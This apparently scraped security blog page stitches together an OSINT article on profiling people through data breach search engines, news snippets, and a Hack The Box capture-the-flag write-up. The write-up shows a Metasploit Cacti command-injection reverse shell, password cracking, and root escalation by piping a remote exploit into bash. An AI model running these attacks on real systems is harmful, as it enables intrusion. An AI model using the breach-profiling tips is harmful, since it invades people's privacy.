Data breaches are an unfortunate reality for many websites, leading to leaked information often posted on dark web forums or discovered by security researchers. Before this data disappears or is removed, Data Breach Search Engines (DBSEs) gather, verify, and categorize it, making it accessible to people seeking to understand what information may have been compromised. DBSEs like Have I Been Pwned allow OSINT (open-source intelligence) investigators to enter an email address and see if it was used on a breached site, often revealing critical information about the target’s online footprint. These DBSEs serve as an important privacy service, allowing users to know if their information has been exposed and, in some cases, request its removal from these databases.
What are Data Breach Search Engines?
DBSEs provide a way to find out where an email address, phone number, username, or other identifier has been used, giving researchers a clearer sense of a person’s digital presence. If a DBSE search shows that an email was compromised in a LinkedIn breach, for example, an investigator knows the person likely had a LinkedIn account. This information is invaluable for OSINT researchers, as it offers hints about a target’s professional network, social media presence, and even connections to colleagues or alternate emails. Some of the most popular DBSEs include Have I Been Pwned (searchable by email or phone), IntelX.io (email), and dehashed.com (email, username, domain, password, IP). There are also more specific breach-focused tools, such as haveibeenzucked.com for Facebook data and checkashleymadison.com for the Ashley Madison breach. These tools maintain deep web databases, and the information within them can often be accessed only through the website itself. For OSINT investigators, understanding DBSE resources is critical, as each can reveal unique details about where an email address, phone number, or other identifier was registered and whether it has been compromised.
Data Breaches Now Available on Data Breach Information Sites
This month, four major data breaches have appeared on platforms like Have I Been Pwned, each offering unique insights into different user communities. Although some breaches occurred years ago, the data is newly available on DBSEs, presenting OSINT researchers with new avenues to explore.
1. Internet Archive (October 2024)
In October 2024, the Internet Archive, famous for its digital preservation efforts and the Wayback Machine, experienced a breach affecting 31 million user accounts. Data exposed includes email addresses, screen names, and bcrypt-hashed passwords. The Internet Archive responded to the breach quickly and transparently, immediately implementing security measures, disabling compromised libraries, and restoring service in read-only mode while the organization strengthened its defenses. This breach is notable for OSINT researchers interested in online archives and historical data access, as it suggests users engaged in digital research or preservation activities.
2. VimeWorld (October 2018)
VimeWorld, a Russian Minecraft service, experienced a data breach in 2018 that exposed data on 3.1 million users. The compromised information includes usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). This breach’s recent availability in DBSEs presents new opportunities for researchers interested in gaming communities, particularly among Russian-speaking audiences.
3. StreamCraft (July 2020)
The StreamCraft breach in July 2020 affected 1.8 million records, exposing usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). StreamCraft data, newly accessible for OSINT purposes, provides a look into the online behavior of gaming communities, especially among users who favor multiplayer gaming.
4. AlpineReplay (2019)
The 2019 breach of AlpineReplay, a fitness-tracking app later integrated into Trace, exposed 900,000 records, including email addresses, usernames, dates of birth, gender, weight, and passwords hashed with MD5 or bcrypt. Recently appearing in DBSEs, this data gives insights into the interests of fitness enthusiasts, particularly those who use digital tools to track performance in sports like skiing and snowboarding.
Why These Data Breaches Matter to Researchers
When an OSINT researcher finds an email address in one of these breaches, it can reveal valuable information about the target’s digital activities. Each platform represents a specific online community or interest, giving clues about an individual’s preferences, affiliations, or lifestyle.
• Internet Archive: If someone’s data is in the Internet Archive breach, it might indicate an interest in digital preservation, academic research, or access to open-source content. This can suggest a background in academia or a strong interest in historical records.
• VimeWorld and StreamCraft: The presence of someone’s account in these gaming-related breaches points to involvement in online gaming, possibly within Russian-speaking or international communities. This can help an investigator understand the target’s recreational interests and engagement in gaming culture.
• AlpineReplay: An account in the AlpineReplay breach implies an interest in fitness, specifically in winter sports like skiing and snowboarding. The individual is likely health-conscious and inclined toward tracking their performance, providing insights into their lifestyle and personal values.
Simply knowing that a target’s email address is associated with one of these platforms can reveal a lot about them. However, OSINT researchers should approach this data cautiously. While these accounts provide contextual information, they don’t give a complete picture of a person’s behavior or habits, so researchers should use this information as a starting point rather than a conclusive profile.
Detailed Look at the Internet Archive Data Breach
The October 2024 Internet Archive breach involved the exposure of data from around 31 million user accounts. This breach, linked to a compromised GitLab token, allowed attackers to access development servers, revealing email addresses, screen names, and bcrypt-hashed passwords. The first breach occurred on October 9, with attackers exploiting a GitLab configuration file on the Internet Archive’s servers that contained an exposed authentication token. This gave them access to the source code, credentials, and, ultimately, the database management system, where they downloaded user data and modified site elements. Reports suggest this token had been accessible since December 2022, giving attackers a prolonged opportunity to exploit it. On October 20, a second breach occurred, this time exploiting unrotated Zendesk API tokens to access user support tickets. During this period, hackers defaced the Internet Archive’s website using JavaScript alerts and launched DDoS attacks attributed to the hacker group SN_BlackMeta. In response, the Internet Archive implemented security measures, scrubbed compromised systems, and temporarily operated in a read-only mode before restoring full access. This quick and transparent response from the Internet Archive emphasized the organization’s commitment to user security.
An additional OSINT trick is available for researchers using the Internet Archive. By using the search function on the top right corner of the Internet Archive’s website, investigators can enter an email address associated with a target’s account to see if an account exists. Although the email address itself isn’t publicly identified in the profile, the search function will still locate the account, providing access to profile information and showing data and websites archived by the user. This technique can be particularly useful for tracing interests, historical engagements, and online behavior through the Internet Archive.
Founder Brewster Kahle reported that the organization is reinforcing its defenses and emphasized the Internet Archive’s commitment to secure its platform. For OSINT researchers, this breach provides a unique opportunity to explore user demographics and interests in digital archives, though it demands careful handling to avoid further privacy violations.
Citations
1. Internet Archive (Archive.org) Hacked for Second Time in a Month
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-25 03:06:462024-11-25 03:06:46Using Newly Surfaced Data Breaches for OSINT Research
Not a bad BOX, the foothold towards the user flag is interesting, but privileges escalation to root is a little less convincing. Let’s begin.
The nmap scan.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 15:26 EDT
Nmap scan report for 10.10.11.211
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Login to Cacti
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.82 seconds
As usual, we start from a portal; I don’t see any indications of particular domain names, so we proceed in the more traditional way, browsing the portal by IP address.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ wget https://www.exploit-db.com/download/51166
--2023-05-14 15:52:02-- https://www.exploit-db.com/download/51166
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2864 (2.8K) [application/txt]
Saving to: ‘51166’
51166 100%[=============================================================================================================>] 2.80K --.-KB/s in 0s
2023-05-14 15:52:03 (32.5 MB/s) - ‘51166’ saved [2864/2864]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ mv 51166 51166.py
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ ls -la
total 12
drwxr-xr-x 2 in7rud3r in7rud3r 4096 May 14 15:52 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 May 14 15:51 ..
-rw-r--r-- 1 in7rud3r in7rud3r 2864 May 14 15:52 51166.py
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ python3 51166.py
usage: 51166.py [-h] [-u URL] -p REMOTE_PORT -i REMOTE_IP
51166.py: error: the following arguments are required: -p/--remote_port, -i/--remote_ip
The script doesn’t seem to work, failing. I tried to reproduce the injection manually, but I get an “unauthorized” message, even though the returned http code is 200. Let’s go ahead. Another link seems to suggest that there is a module on the metasploit framework.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/expl]
└─$ msfconsole
, ,
/
((__---,,,---__))
(_) O O (_)_________
_ / |
o_o M S F |
_____ | *
||| WW|||
||| |||
=[ metasploit v6.3.14-dev ]
+ -- --=[ 2311 exploits - 1206 auxiliary - 412 post ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: You can upgrade a shell to a Meterpreter
session on many platforms using sessions -u
<session_id>
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use exploit/linux/http/cacti_unauthenticated_cmd_injection
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > options
Module options (exploit/linux/http/cacti_unauthenticated_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
HOST_ID no The host_id value to use. By default, the module will try to bruteforce this.
LOCAL_DATA_ID no The local_data_id value to use. By default, the module will try to bruteforce this.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8080 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to Cacti
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
X_FORWARDED_FOR_IP 127.0.0.1 yes The IP to use in the X-Forwarded-For HTTP header. This should be resolvable to a hostname in the poller table.
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Automatic (Linux Dropper)
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set rhosts http://10.10.11.211/
rhosts => http://10.10.11.211/
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set rport 80
rport => 80
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > set lhost 10.10.14.84
lhost => 10.10.14.84
msf6 exploit(linux/http/cacti_unauthenticated_cmd_injection) > exploit
[*] Started reverse TCP handler on 10.10.14.84:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Cacti version 1.2.22
[*] Trying to bruteforce an exploitable host_id and local_data_id by trying up to 500 combinations
[*] Enumerating local_data_id values for host_id 1
[+] Found exploitable local_data_id 6 for host_id 1
[*] Command Stager progress - 100.00% done (1118/1118 bytes)
[*] Exploit completed, but no session was created.
Nothing, but we have a lot of exploits to try. Next one!
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.84:80
[Sun May 14 16:26:09 2023] PHP 8.2.4 Development Server (http://10.10.14.84:80) started
[Sun May 14 16:29:02 2023] 10.10.11.211:52720 Accepted
[Sun May 14 16:29:02 2023] 10.10.11.211:52720 [404]: GET / - No such file or directory
[Sun May 14 16:29:02 2023] 10.10.11.211:52720 Closing
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.84:80
[Sun May 14 16:39:09 2023] PHP 8.2.4 Development Server (http://10.10.14.84:80) started
[Sun May 14 16:40:28 2023] 10.10.11.211:56602 Accepted
[Sun May 14 16:40:28 2023] 10.10.11.211:56602 [404]: GET /www-data - No such file or directory
[Sun May 14 16:40:28 2023] 10.10.11.211:56602 Closing
We can then to the reverse shell… listener listening (that’s horrible)…
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
…and attack! After a lot of reverse shells, I found the right one:
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.11.211: inverse host lookup failed: Unknown host
connect to [10.10.14.84] from (UNKNOWN) [10.10.11.211] 44074
whoami
www-data
It seems I don’t have permission to read the /home folder; let’s look for any clues left in the surroundings before running a session with linpeas. Let’s check the list of the users in the meantime.
What? There doesn’t seem to be any user who can log in! there is something strange about this BOX!
I found a SQL script that creates the database for the portal and looking inside…
[...]
CREATE TABLE user_auth (
`id` mediumint(8) unsigned NOT NULL auto_increment,
`username` varchar(50) NOT NULL default '0',
`password` varchar(256) NOT NULL default '',
`realm` mediumint(8) NOT NULL default '0',
`full_name` varchar(100) default '0',
`email_address` varchar(128) NULL,
[...]
INSERT INTO user_auth VALUES (1,'admin','21232f297a57a5a743894a0e4a801fc3',0,'Administrator','','on','on','on','on','on','on',2,1,1,1,1,'on',-1,-1,'-1','',0,0,0);
INSERT INTO user_auth VALUES (3,'guest','43e9a4ab75570f5b',0,'Guest Account','','on','on','on','on','on',3,1,1,1,1,1,'',-1,-1,'-1','',0,0,0);
[...]
Undecided between a simple hexadecimal algorithm or an MD5, it was enough for me to search for the string online to discover the very mysterious password of the admin user.
However, the password must have been changed, as I cannot access the portal. Another interesting file was the config.php in the include folder.
[...]
/*
* Make sure these values reflect your actual database/host/user/password
*/
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
/*
* When the cacti server is a remote poller, then these entries point to
* the main cacti server. Otherwise, these variables have no use and
* must remain commented out.
*/
#$rdatabase_type = 'mysql';
#$rdatabase_default = 'cacti';
#$rdatabase_hostname = 'localhost';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port = '3306';
#$rdatabase_retries = 5;
#$rdatabase_ssl = false;
#$rdatabase_ssl_key = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca = '';
[...]
Try to connect to the MySQL server. Unfortunately, I can’t spawn a tty shell and the mysql command line seems to not answer in the best way, so I have to execute commands manually using the mysql command line execution argument.
$ mysql -h db -u root -p cacti -e "show databases;"
Enter password: root
Database
information_schema
cacti
mysql
performance_schema
sys
$ mysql -h db -u root -p cacti -e "select * from user_auth;"
Enter password: root
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 11 on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 00 0
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 11 on -1 -1 on 0 0 2135691668
Well, the admin user changed his password and a new user appeared in the list… we have a couple of interesting passwords to try and crack.
Let’s that hashcat tries to identify the algorithm of the hashing method.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/crk]
└─$ hashcat pwd.hash
hashcat (v6.2.6) starting in autodetect mode
/sys/class/hwmon/hwmon4/temp1_input: No such file or directory
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-penryn-Intel(R) Core(TM)2 Duo CPU T8300 @ 2.40GHz, 1406/2876 MB (512 MB allocatable), 2MCU
No hash-mode matches the structure of the input hash.
Started: Mon May 15 15:38:03 2023
Stopped: Mon May 15 15:38:15 2023
Mmmm, not so lucky today. Let’s try with my friend john!
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/crk]
└─$ john pwd.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey (marcus)
Definitely better.
Even though he’s a portal user, he seems to have trouble logging in, but it’s much better if you use him to log in over ssh!
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ ssh marcus@10.10.11.211
The authenticity of host '10.10.11.211 (10.10.11.211)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.211' (ED25519) to the list of known hosts.
marcus@10.10.11.211's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 15 May 2023 09:02:46 PM UTC
System load: 0.0
Usage of /: 64.1% of 6.73GB
Memory usage: 34%
Swap usage: 0%
Processes: 292
Users logged in: 1
IPv4 address for br-60ea49c21773: 172.18.0.1
IPv4 address for br-7c3b7c0d00b3: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.211
IPv6 address for eth0: dead:beef::250:56ff:feb9:ff04
=> There is 1 zombie process.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Mon May 15 20:40:13 2023 from 10.10.14.169
marcus@monitorstwo:~$ cat user.txt
2******************************a
Thus obtaining the user flag! At first glance, it seems like I can’t do much with this user, so let’s download linpeas and make it available from our native php web server.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230514-85dabdc9/linpeas.sh
--2023-05-16 15:36:42-- https://github.com/carlospolop/PEASS-ng/releases/download/20230514-85dabdc9/linpeas.sh
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/1f1f0080-bb74-490c-ac12-16e66dcb0699?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230516%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230516T193601Z&X-Amz-Expires=300&X-Amz-Signature=267efcd94629b388ffc0decf9f86725f34b28929ad55df95f9a745fcb504ef9d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream [following]
--2023-05-16 15:36:43-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/1f1f0080-bb74-490c-ac12-16e66dcb0699?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230516%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230516T193601Z&X-Amz-Expires=300&X-Amz-Signature=267efcd94629b388ffc0decf9f86725f34b28929ad55df95f9a745fcb504ef9d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 835306 (816K) [application/octet-stream]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=============================================================================================================>] 815.73K 2.89MB/s in 0.3s
2023-05-16 15:36:43 (2.89 MB/s) - ‘linpeas.sh’ saved [835306/835306]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ php -S 10.10.14.69:80
[Tue May 16 15:37:25 2023] PHP 8.2.4 Development Server (http://10.10.14.69:80) started
This time I don’t seem to have found much of interest in the linpeas session, apart from an open port locally; we will investigate this shortly. Let’s try to take a look at the suggested CVEs, even if by now, most of the time they are false positives.
If I really can’t find anything else, I’ll come back to it.
marcus@monitorstwo:~$ curl http://127.0.0.1:35077/ -v
* Trying 127.0.0.1:35077...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 35077 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:35077
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Tue, 16 May 2023 20:15:22 GMT
< Content-Length: 19
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 127.0.0.1 left intact
404: Page Not Found
It doesn’t seem to come back to me much. I can’t find any info on which process is using port 35077 with the conventional methods (netstal, lsof, ecc…). After double-checking the CVEs suggested by linpeas, but without getting any success, I started reading posts in the official HTB forum. Many users talk about SUID and docker (things I’ve already checked among other things but maybe not good enough at this point). So I focus on these two clues.
Files available with SUID permissions don’t help me and I can’t even launch docker commands due to lack of permissions. Searching for some exploits I find a lot of docker stuff.
The docker version available on the machine could help me identify a specific exploit.
marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
I download the results for an easier search (fortunately it’s only two pages). I import the data into an excel file and perform a quick search based on the docker version in the BOX. Three results come out.
The CVE-2021-41092 (execution vulnerability), CVE-2021-21285 (unknown) and CVE-2021-21284 (Traversal path vulnerability).
The CVE-2021-41092 inspires me, it allows the execution of commands following a login to a personal docker registry, I look for some exploits, but I can’t find anything useful and even by approaching some personal experiments, I get nothing. CVE-2021-21285 doesn’t really work for me, causing the docker daemon to crash when pulling an image (which I can’t do due to a lack of permissions, among other things). The CVE-2021-21284 remains for which I can’t find anything as interesting as the previous ones. After a while, I search online for some other exploits on the specific version (Docker 20.10.5 exploit) and among the first results there is an interesting git repository.
The exploit is not on the docker CLI, but on the docker engine itself (the Moby). Taking a look at the script and executing some commands from the BOX’s shell to understand if the vulnerability is actually present, I don’t get excellent results, but trying doesn’t cost anything anyway, so I download the script on my machine and then execute it, as always, without a trace!
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ wget https://raw.githubusercontent.com/UncleJ4ck/CVE-2021-41091/main/exp.sh
--2023-05-20 06:09:32-- https://raw.githubusercontent.com/UncleJ4ck/CVE-2021-41091/main/exp.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2446 (2.4K) [text/plain]
Saving to: ‘exp.sh’
exp.sh 100%[=============================================================================================================>] 2.39K --.-KB/s in 0.002s
2023-05-20 06:09:32 (1.03 MB/s) - ‘exp.sh’ saved [2446/2446]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ php -S 10.10.14.78:80
[Sat May 20 06:09:35 2023] PHP 8.2.4 Development Server (http://10.10.14.78:80) started
Ready!
marcus@monitorstwo:/tmp$ bash <(curl -s http://10.10.14.78/exp.sh)
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell
bash-5.1# exit
marcus@monitorstwo:/tmp$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p
bash-5.1# whoami
root
bash-5.1# ls -la /root/root.txt
-rw-r----- 1 root root 33 May 20 02:50 /root/root.txt
bash-5.1# cat /root/root.txt
6******************************6
Woooo, what a fantastic surprise, even if from the preliminary tests it didn’t seem feasible to me. Anyway, another interesting BOX indeed. As always, while waiting for another machine, have good hacking. That’s all folks.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-24 15:06:432024-11-24 15:06:43These alternatives to popular apps can help reclaim your online life from billionaires and surveillance
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-23 19:06:432024-11-23 19:06:43Why New York is a Prime Location for Leading Mobile Development Agencies
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This is the first time Russia has used its so-called Oreshnik intermediate-range ballistic missile in combat. The launch also serves as a warning to the West.
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The European Union looks to have clinched political agreement on the team of 26 commissioners who will be implementing President Ursula von der Leyen’s policy plan for the next five years. A final vote is still pending next week, but on Thursday, Politico’s Brussels Playbook newsletter reported a deal in the European Parliament on the […]
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The North Korea-linked threat actor known as Sapphire Sleet is estimated to have stolen more than $10 million worth of cryptocurrency as part of social engineering campaigns orchestrated over a six-month period.
These findings come from Microsoft, which said that multiple threat activity clusters with ties to the country have been observed creating fake profiles on LinkedIn, posing as both
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Government agencies and non-governmental organizations in the United States have become the target of a nascent China state threat actor known as Storm-2077.
The adversary, believed to be active since at least January 2024, has also conducted cyber attacks against the Defense Industrial Base (DIB), aviation, telecommunications, and financial and legal services across the world, Microsoft said.
BackBox.org offers a range of Penetration Testing services to simulate an attack on your network or application. If you are interested in our services, please contact us and we will provide you with further information as well as an initial consultation.
Using Newly Surfaced Data Breaches for OSINT Research
/in General NewsData breaches are an unfortunate reality for many websites, leading to leaked information often posted on dark web forums or discovered by security researchers. Before this data disappears or is removed, Data Breach Search Engines (DBSEs) gather, verify, and categorize it, making it accessible to people seeking to understand what information may have been compromised. DBSEs like Have I Been Pwned allow OSINT (open-source intelligence) investigators to enter an email address and see if it was used on a breached site, often revealing critical information about the target’s online footprint. These DBSEs serve as an important privacy service, allowing users to know if their information has been exposed and, in some cases, request its removal from these databases.
What are Data Breach Search Engines?
DBSEs provide a way to find out where an email address, phone number, username, or other identifier has been used, giving researchers a clearer sense of a person’s digital presence. If a DBSE search shows that an email was compromised in a LinkedIn breach, for example, an investigator knows the person likely had a LinkedIn account. This information is invaluable for OSINT researchers, as it offers hints about a target’s professional network, social media presence, and even connections to colleagues or alternate emails. Some of the most popular DBSEs include Have I Been Pwned (searchable by email or phone), IntelX.io (email), and dehashed.com (email, username, domain, password, IP). There are also more specific breach-focused tools, such as haveibeenzucked.com for Facebook data and checkashleymadison.com for the Ashley Madison breach. These tools maintain deep web databases, and the information within them can often be accessed only through the website itself. For OSINT investigators, understanding DBSE resources is critical, as each can reveal unique details about where an email address, phone number, or other identifier was registered and whether it has been compromised.
Data Breaches Now Available on Data Breach Information Sites
This month, four major data breaches have appeared on platforms like Have I Been Pwned, each offering unique insights into different user communities. Although some breaches occurred years ago, the data is newly available on DBSEs, presenting OSINT researchers with new avenues to explore.
1. Internet Archive (October 2024)
In October 2024, the Internet Archive, famous for its digital preservation efforts and the Wayback Machine, experienced a breach affecting 31 million user accounts. Data exposed includes email addresses, screen names, and bcrypt-hashed passwords. The Internet Archive responded to the breach quickly and transparently, immediately implementing security measures, disabling compromised libraries, and restoring service in read-only mode while the organization strengthened its defenses. This breach is notable for OSINT researchers interested in online archives and historical data access, as it suggests users engaged in digital research or preservation activities.
2. VimeWorld (October 2018)
VimeWorld, a Russian Minecraft service, experienced a data breach in 2018 that exposed data on 3.1 million users. The compromised information includes usernames, email addresses, IP addresses, and hashed passwords (MD5 or bcrypt). This breach’s recent availability in DBSEs presents new opportunities for researchers interested in gaming communities, particularly among Russian-speaking audiences.
